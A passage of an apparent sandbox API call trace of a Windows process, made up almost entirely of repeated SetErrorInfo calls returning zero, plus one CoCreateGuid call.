(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.451] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.451] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.451] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.451] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.451] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.451] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.452] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.452] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.452] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.452] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.452] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.452] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.453] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.454] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.458] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.458] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.458] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.458] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.458] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.458] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.459] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.459] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.459] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.459] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.459] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.461] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.462] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.463] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.464] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.465] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.465] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.465] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.465] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.465] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.466] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.467] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.467] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.467] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.467] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.467] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.470] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.471] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.474] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.475] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.475] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.475] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.475] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.476] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.476] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.476] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.476] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.476] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.476] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.477] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.478] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.479] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.481] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.481] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.481] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.481] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.481] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.481] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.482] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.482] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.482] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.482] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.482] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.482] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.484] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.485] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.485] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.485] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.485] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.494] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.494] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.494] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.698] CoCreateGuid (in: pguid=0x12d688 | out: pguid=0x12d688*(Data1=0xf0af8af5, Data2=0x9602, Data3=0x42c9, Data4=([0]=0x9d, [1]=0x90, [2]=0x56, [3]=0x67, [4]=0x4f, [5]=0x55, [6]=0xd, [7]=0x68))) returned 0x0 [0046.698] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.698] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.732] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.733] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.734] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.734] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) 